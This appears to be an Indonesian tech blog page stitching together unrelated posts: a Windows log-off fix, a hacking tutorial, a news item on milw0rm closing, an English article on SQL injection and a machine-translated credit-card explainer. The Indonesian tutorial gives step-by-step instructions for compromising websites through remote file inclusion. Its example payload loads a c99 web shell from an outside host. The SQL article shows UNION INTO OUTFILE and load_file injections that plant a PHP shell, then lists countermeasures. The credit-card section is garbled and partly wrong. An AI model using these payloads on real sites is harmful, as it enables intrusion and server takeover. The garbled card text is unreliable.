SIMPLE TECH

Well....utk artikel ini saya hanya repost dari blog teman forum saya,karena kemarin teman saya yang konsultasi dengan saya tentang permasalahan dengan komputer nya yang selalu LOG OFF.Okey ini dia brader solusi nya:


caranya sbb :

1. masuk ke save mode ( tekan F8 saat mau login windows)
2. copy userinit.exe kedalam c:\windows\
3. restart komputer.... beres deh....
4. semoga berhasil....

Author : kiddies As cr4sh3r_1412
E-mail : crasher_1412 [at] yahoo [dot] com

ketemu lagi dengan gue, ini adalah tutorial kedua gue, mungkin gue disini akan menceritakanbagaimana akhirnya bisa mengerti metode RFI Hacking


sebelum kita masuk kedalam RFI ada baiknya mengetahui Web-hell dahulu,sebab nanti ini kan di pakai dalam RFI
macam-macam web-shell:
1. c99
2. c100
3. r57
4. ekin0x
5. locus7

bagamana mencarinya backdoor tersebut, kita cari melalui google

lagi-lagi intro nih, yups betul, agar lebih paham aja gitu
RFI apa itu????
RFI(Remote File Inclusion) adalah salah satu metode hacking dengan memanfaatkan pintu belkang atau sering disebut backdoor!

=======
PERTAMA
=======
sebelum penyerangan,marilah kita berdoa menurut agama dan kepercayaan masing2...........

AMIEN !!!

=======
KEDUA
=======
ok setelah kita bedoa, bukalah www.milw0rm.com
kemudian klik search
kemudian tulislah RFI

========
KETIGA
========
udah kebuka tuh banyak sekali bug RFI disitu, pilih salah satu

=========
KEEMPAT
=========
setelah kita dapat bugnya kemudian kita search denga google

example bug:
administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=[evil code]

========
KELIMA
========
kemudian search lah dengan google, apabila kita telah mendapatkan sitenya, trus kita taro file backdoor

example:
wwww.coba-coba.com/administrator/component/com_profiler/plugin.class.php?mosConfig_absolute_path=www.punyague.net/backdoor/c99.txt??

========
KEENAM
========
apabila dibrowser tidak ada tampilan apa2 hanya tampilan site biasa,maka site tersebut sudah tidak vuln lagi
apabila dibrowser anda ada tampilan backdoor, maka site tersebut telah anda kuasai, dan selanjutnya terserah anda...

perintah yang berguna saat melakukan aktivitas backdooring:

cd namadirectory = Melihat Suatu directory
ls -al = Melihat Suatu Directory Lebih Dalam lagi
fined = Mengecek Directory directory
cat = Membaca Suatu Berkas
wget = MengUpload suatu Files
tar -zxvf = MengExtraxt suatu files yang berbentuk tgz
pwd = Mengetahui Di Directory mana Kita Berada
uname -a = Keberadaan Path berada
w = Mengetahui Siapa Saja yang telah menggunakan Shell.
curl = mendownload url


sekian tutorial dari gue, bukannya gue mau sok tahu, tapi gue cuma mau berbagi apa yang udah gue dapet selama ini, apabila da yang kurang
mohon muf



gretz: Mywisdom,flyf_666,petimati,7460,gunslinger_,sat_ n soon
we are devilzc0de crew run with bug n exploits

One of the major sources of proof of concept (PoC) exploits on the Internet, milw0rm.com, will be closing down. The website's maintainer, str0ke, announces that he can't commit anymore to reviewing exploits submitted by third-parties, in a timely manner.

While this is sad news for people familiar with the exploit release scene, as well as a fair amount of script kiddies by some accounts, it might not mean much for the uninitiated without some background history.

Milw0rm was originally the name of a group of hackers with members from various parts around the globe that communicated with each other over IRC (Internet Relay Chat). The outfit went on to achieve international fame after it took credit for compromising the computer network of India's Bhabha Atomic Research Centre (BARC) in Bombay and gaining administrative access (root) on multiple systems during the night of June 3, 1998.

The hackers walked off with confidential emails and classified documents about nuclear tests, amounting to around five megabytes. The first news outlet to break out the story at the time was Wired, which the collective contacted with proof of their feat.

The reasons behind the attack were mostly political in nature. The group's members, who were still teenagers at the time, wanted to show their disapproval over the development and testing of atomic weapons, making this pretty clear by defacing the BARC home page and posting pacifist messages.

"I like the world in its current state (i guess), well its better than the world would be if the b0mb went b00m. think about it k1dz, its not clever, its not big, so don't think destruction is cool, coz its not […] So India, LISTEN TO WISE OLD MILWORM ... You do not need nuclear weapons in the 1990s!#@!" a part of the message, which was signed by JF, VeNoMouS, Hamst0r, Keystroke, savec0re and ExtreemUK, read.



The group disbanded soon after this high-profile hack, or at least its members stopped being hacktivists. Several years later, in 2004, Keystroke, who is, today, better known as str0ke, went on to set up milw0rm.com as a place to publish PoC exploits, with the consent of some of his former comrades.

In order to ensure a high quality for the published content, str0ke personally verified and tested all exploits submitted by other hackers, something that, unfortunately, he can no longer do. "Well, this is my goodbye header for milw0rm. I wish I had the time I did in the past to post exploits, I just don't," a message from str0ke displayed on the home page reads.

He goes on to explain that, "For the past 3 months I have actually done a pretty crappy job of getting peoples work out fast enough to be proud of, 0 to 72 hours (taking off weekends) isn't fair to the authors on this site." Finally, the hacker extends his thanks to everyone who contributed to the website. "I appreciate and thank everyone for their support in the past. Be safe, /str0ke," he signs off.

MySQL Database is a great product used by thousand of websites. Various web applications use MySQL as their default database. Some of these applications are written with security in mind, and some are not. In this article, I would like to show you how you can exploit SQL injection in order to gain almost full control over your webserver.

Most people know that SQL injection allows attackers to retrieve database records, pass login screens, change database content, through the creation of new administrative users. MySQL does not have a built-in command to execute shell commands, like Microsoft SQL server. I will show you how to run arbitrary commands using standard features provided by MySQL.

First of all, I would like to give a brief description of SQL injection, then I would like to present you with a couple less known methods that exist in MySQL, which I will use to backdoor a webserver. I will use 2 built-in MySQL commands - one that writes arbitrary files and the one that can be used to read arbitrary files. After that I will describe webshells and go to the attack itself.
What is SQL Injection?

SQL injection is an attack that allows the attacker to add logical expressions and additional commands to the existing SQL query. This attack can succeed whenever a user has submitted data that is not properly validated and is glued together with a legitimate SQL query.

For example, the following SQL command is used to validate user login requests:

$sql_query = "select * from users where user='$user' and password='$pass'"

If the user-submitted data is not properly validated, an attacker can exploit this query and pass the login screen by simply submitting specially crafter variables. For example, attacker can submit the following data as a $user variable: admin' or '1'='1 . When this $user variable is glued together with the query, it will look as followed:

$sql_query = "select * from users where user='admin' or '1'='1' and password='$pass'"

Now, the attacker can safely pass the login screen because or '1'='1' causes the query to always return a "true" value while ignoring the password value.

Using similar techniques, an attacker can retrieve database records, pass login screens, and change database contents, for example by creating new administrative users. In this document, I will show how by applying similar techniques, we will be able to execute arbitrary shell commands.
Command 1- Writing arbitrary files

MySQL has a built-in command that can be used to create and write system files. This command has the following format:

mysq> select "text" INTO OUTFILE "file.txt"

One big drawback of this command is that it can be appended to an existing query using UNION SQL token.

For example, it can be appended to the following query:
select user, password from user where user="admin" and password='123'

Resulting query:
select user, password from user where user="admin" and password='123' union
select "text",2 into outfile "/tmp/file.txt" -- '

As a result of the above command, the /tmp/file.txt file will be created including the query result.
Command 2- Reading arbitrary files

MySQL has a built-in command that can be used to read arbitrary files. The syntax is very simple. We will use this command for plan B.

mysql> select load_file("PATH_TO_FILE");
Webshell

Webshell is a polpular and widely used tool for executing shell commands from within the web browser. Some call these tools PHP shells. We will create a very simple webshell that will execute shell commands.

Here is the code of a very basic PHP shell (parameter passed by cmd will be executed):

For example, in the following screenshot, id command is executed.



Attack Scenario

1. Find SQL injection

It is out of the scope of this document. You must first find SQL injection.

2. Find a directory with write permission

To create a webshell PHP script, we need a directory with write permission on. Temporary directories used by popular Content Management Systems are a good choice for this. Check the following urls to find one:

* hxxp://www.target.com/templates_compiled/
* hxxp://www.target.com/templates_c/
* hxxp://www.target.com/templates/
* hxxp://www.target.com/temporary/
* hxxp://www.target.com/images/
* hxxp://www.target.com/cache/
* hxxp://www.target.com/temp/
* hxxp://www.target.com/files/

In our example we will use a temp directory.

3. Exploit SQL injection - create web shell

You need to append the following string to the legitimate SQL command:

UNION SELECT "",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" --
Some explanation:

* 2,3,4 are just a qualifier that used to make the same number of columns as in the first part of the select query.
* /var/www/html is a default web directory in the RedHat-like distributions (Fedora, CentOS).
* temp is a directory with full write access. In your case it could be a different directory.

The above command will write the query's result with the "" string appended. Because we added a php extension to the file name, this string will be treated as a PHP command and will allow us to execute shell commands!

4. Execute shell commands

Now it is the easiest part. Simply open the webserver to execute shell commands. In our example it will be:

* hxxp://www.target.com/temp/c.php?cmd=SHELL_COMMAND

For example:

* hxxp://www.target.com/temp/c.php?cmd=id

Plan B

In case you failed to create a PHP file due to a wrong path, there are a number of workarounds:

1. Generate PHP errors.

You need to create a situation when a PHP script will fail and the full disk path will be printed in the error message. You can play with page parameters to make this happen.

2. Find the file that will print phpinfo().

In some cases you will be lucky and you will get a phpinfo() function executed. This function prints a wealth of PHP internal information including the current directory location.

Try to access the following urls:

* hxxp://www.target.com/phpinfo.php
* hxxp://www.target.com/test.php
* hxxp://www.target.com/info.php

3. Look for a default web directory location.

You need to get a default web directory location for a web server. Check the following page since it has a big list of default Apache configurations that are used in different distributions.
http://wiki.apache.org/httpd/DistrosDefaultLayout

4. Read the Apache configuration files.

MySQL has a built-in command that allows the attacker to read arbitrary files. We can exploit this command to read Apache configuration files and study directory structures. Simply use the load_file() MySQL function.

For example (SQL query after injection):
select user, password from user where user="admin123" and password='123' UNION select load_file("/etc/apache2/apache2.conf"), 2 -- '

Note:
You can find a location of Apache configurations at this resource:
http://wiki.apache.org/httpd/DistrosDefaultLayout
Limitation

In order to allow the above to work, the MySQL user used by this application must have a FILE permission. For example by default, a "root" user has this permission on. FILE is an administrative privilege that can only be granted globally (using ON *.* syntax).

For example, if the MySQL user was created using the following command, the user will have this FILE permission on.
GRANT ALL PERMISSIONS to *.* to 'USER_NAME'@'HOST_NAME' IDENTIFIED BY 'PASSWORD'
Countermeasures

1. Install the GreenSQL database firewall.

GreenSQL is an open source database firewall that can automatically block the commands described above: load_file and INTO OUTFILE. By default, GreenSQL blocks administrative and sensitive SQL commands. In addition, GreenSQL prevents SQL injections by calculating the risk of each query and blocking queries with high risk. For example , UNION token and SQL comments are taken into account. Check the application website for more information http://www.greensql.net/

2. Do not use MySQL root user to access the database.

Do not use administrative users to access the database. It is recommended to create a distinct user with hardened permissions to access specific databases.

3. Revoke FILE permission from the MySQL user used in your applications.

mysql> REVOKE FILE ON *.* from 'USER_NAME'@'HOST_NAME';

4. Application code review.

Ensure that your application does not have any SQL injections and that the code is updated.
Links

1. MySQL Injection Cheat Sheet
http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/

2. SQL Injection Cheat Sheet
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

3. MySQL Documentation
http://dev.mysql.com/doc/

Apakah Anda pernah berpikir tentang pentingnya nomor kartu kredit, dan bagaimana mereka dihasilkan angka? Atas dasar ilmu pengetahuan, yang saya akan menggambarkannya CREAD nomor kartu RAHASIA ...
Pertama anda perlu mengetahui bagian-bagian dari serangkaian angka pada kartu kredit.

16 nomor yang Anda bisa  lihat di Visa atau kartu kredit MasterCard, 6 digit pertama dari "pengenal penerbit", yaitu jenis kode kartu kredit.
Jika mendahului, 6-digit 4 yang berarti bahwa kartu kredit Visa.
Namun, jika 6 digit, diawali dengan 5, yang berarti bahwa berjenisMasterCard kartu kredit.
Selanjutnya, 1 digit terakhir untuk 16 digit kartu kredit berfungsi sebagai "bit cek", yang fungsinya hanya untuk nomor kartu kredit, memeriksa validitas kartu.
Sejak awal 6 digit dan 1 digit sudah merasakannya berarti hidup 9 digit yang tersisa di pusat, yang berfungsi sebagai "nomor rekening".
Oleh karena itu, ada 10 nomor mungkin (angka 0 sampai 9), yang dapat dimasukkan ke dalam setiap digit 9-tenang "nomor rekening", yang dihasilkan kombinasi angka nomor 9-digit 1 miliar yang mungkin untuk setiap jenis kartu kredit ( Visa atau MasterCard).
Algoritma yang digunakan untuk membuat garis 16 digit untuk nomor kartu kredit Anda algoritma yang disebut "Luhn" atau "Mod 10".
Kembali pada tahun 1954, Hans Luhn IBM adalah orang yang pertama kali mengusulkan penggunaan algoritma untuk menentukan apakah atau tidak itu adalah nomor kartu kredit yang valid.
Cara kerjanya adalah algoritma sederhana (tapi bagus), adalah sebagai berikut:
1. Dimulai dengan digit pertama, dikalikan dengan semua angka yang menempati aneh dua digit, sehingga akan ada total 8 digit, kalikan dengan 2, angka yaitu 1, 3.5, 7, 9, 11, 13 dan 15
2. Jika hasil perkalian dua angka telah membawa total 2 digit (10, 12,14, 16 atau 18), menambah jumlah setiap digit untuk menghasilkan angka 1-digit, bahwa hasil dari langkah pertama dan kedua adalah disediakan dalambentuk angka delapan.
3. Langkah selanjutnya, ganti semua angka (nomor kartu kredit) terletak di posisi digit ganjil dengan 8 karakter baru, membuat seri baru dari 16 digit.
4. Langkah terakhir, tambahkan-16 angka. Jika kali hasil penjumlahannya 10, yang berarti bahwa nomor kartu kredit yang valid, dan sebaliknya, jika tidak lebih 10, yang berarti bahwa nomor kartu kredit Anda tidak valid.
Berikut adalah contoh dari perhitungan sendiri:

Seperti yang dapat Anda lihat pada gambar di atas ini, nomor kartu kredit 4552 7204 1234 5678, dari awal sampai 4, yang berarti bahwa kartu Visa.

Sekarang kita harus zrátajte.

Jika Anda sudah menghitung dengan cermat, Maka anda akan melihat bahwa angka terakhir  adalah 61, yang bukan kelipatan dari 10 nomor, sehingga Anda dapat memastikan bahwa nomor kartu kredit Anda tidak valid.
Jika "check digit" dalam hal ini adalah 8, dan 7, maka algoritma akan nomor kartu kredit yang valid, karena total penjumlahannya akan berubah menjadi 60, jumlah kelipatan 10
Berikut contoh lain:

Bagaimana...? Anda menghitung sendiri total penjumlahannya apakah  adalah 65, jadi nomor kartu kredit tidak valid, karena nomor 65 bukan kelipatan 10.

Jika hanya "mengatur jumlah" kartu kredit bukan 3, tapi 8, maka hasilnya akan penjumlahannya 70, yang merupakan kelipatan 10, maka nomor kartu kredit anda valid (algoritma).
Definisi di atas adalah perhitungan matematis sah berlaku, itu tidak berarti, nomor kartu kredit dengan kepastian yang mutlak bahwa nomor kartu kredit asli.
Dalam rangka untuk memeriksa kartu kredit (pada saat transaksi online, misalnya), perlu tidak hanya nomor kartu kredit saja, tetapi juga "tanggal kadaluwarsa", dan "kartu kode keamanan", atau juga disebut CVV (KartuVerifikasi Nilai) atau CVC (Kode verifikasi kartu), yang merupakan 3 digit terakhir dari kartu kredit.
P.S. : Untuk kartu kredit American Express, jumlah digit ke tempat 16, namun cuma15, dan selalu dimulai dengan 34 atau 37 untuk 2 digit pertama.Mengenai "nomor rekening", itu hanya memiliki panjang 8 digit, bukan 9 digit, seperti jenis kartu kredit Visa atau MasterCard.